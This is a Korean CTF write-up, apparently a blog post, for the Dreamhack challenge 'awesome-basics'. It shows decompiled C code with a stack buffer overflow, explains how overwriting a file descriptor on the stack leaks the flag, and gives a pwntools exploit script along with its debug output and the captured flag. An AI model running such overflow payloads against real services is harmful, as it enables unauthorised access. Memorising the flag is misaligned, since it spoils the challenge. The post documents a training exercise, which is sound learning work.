콘텐츠로 건너뛰기

awesome-basics

Description

Stack Buffer Overflow 취약점이 존재하는 프로그램입니다. 주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag 파일에 있습니다.

플래그의 형식은 DH{…} 입니다.


int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [rsp+10h] [rbp-60h] BYREF
  int v5; // [rsp+60h] [rbp-10h]
  int fd; // [rsp+64h] [rbp-Ch]
  int v7; // [rsp+68h] [rbp-8h]
  int v8; // [rsp+6Ch] [rbp-4h]

  v8 = 0;
  v7 = 1;
  initialize(argc, argv, envp);
  flag = malloc(0x45uLL);
  fd = open("./flag", 0);
  read(fd, flag, 0x45uLL);
  close(fd);
  v5 = open("./tmp/flag", 1);
  write(1, "Your Input: ", 0xCuLL);
  read(0, buf, 0x80uLL);
  write(v5, flag, 0x45uLL);
  write(v5, buf, 0x50uLL);
  close(v5);
  return 0;
}

위 코드들을 실행했을때 스택으로 표현하면 아래와 같다.
(P.S: 이전 함수의 base pointer, SFP는 8바이트여서 그림에서 공간을 더 늘려야했는데 못 늘림 ㅁㄴㅇㄹ)


풀이

18줄에 있는 read 함수에서 buf 크기보다 0x80(=128) 크기 만큼 더 많이 입력받을 수 있어서 버퍼 오버플로우가 발생한다.

따라서 19줄에 있는 write 함수를 실행시킬때 스택에 있는 tmp_fd에 stdout_fd인 1을 덮어쓰면 flag가 출력될 것이다.

from pwn import *

context.log_level='debug'

p = remote("host3.dreamhack.games", 18026)
payload = b'\x41' * 80 + p32(1)
p.sendafter('Your Input: ', payload)
p.recvall()
ubuntu@wh1te4ever-main:~/Desktop/awesome-basics$ python3 awesome-basics.py
[+] Opening connection to host3.dreamhack.games on port 18026: Done
[DEBUG] Received 0xc bytes:
    b'Your Input: '
[DEBUG] Sent 0x54 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000050  01 00 00 00                                         │····│
    00000054
[+] Receiving all data: Done (149B)
[DEBUG] Received 0x45 bytes:
    b'DH{4ae8dab78b961371336e61a58d6ec5bf9af48e06ad3d96b3e5461e264e910eaa}\n'
[DEBUG] Received 0x50 bytes:
    b'A' * 0x50
[*] Closed connection to host3.dreamhack.games port 18026
태그:

답글 남기기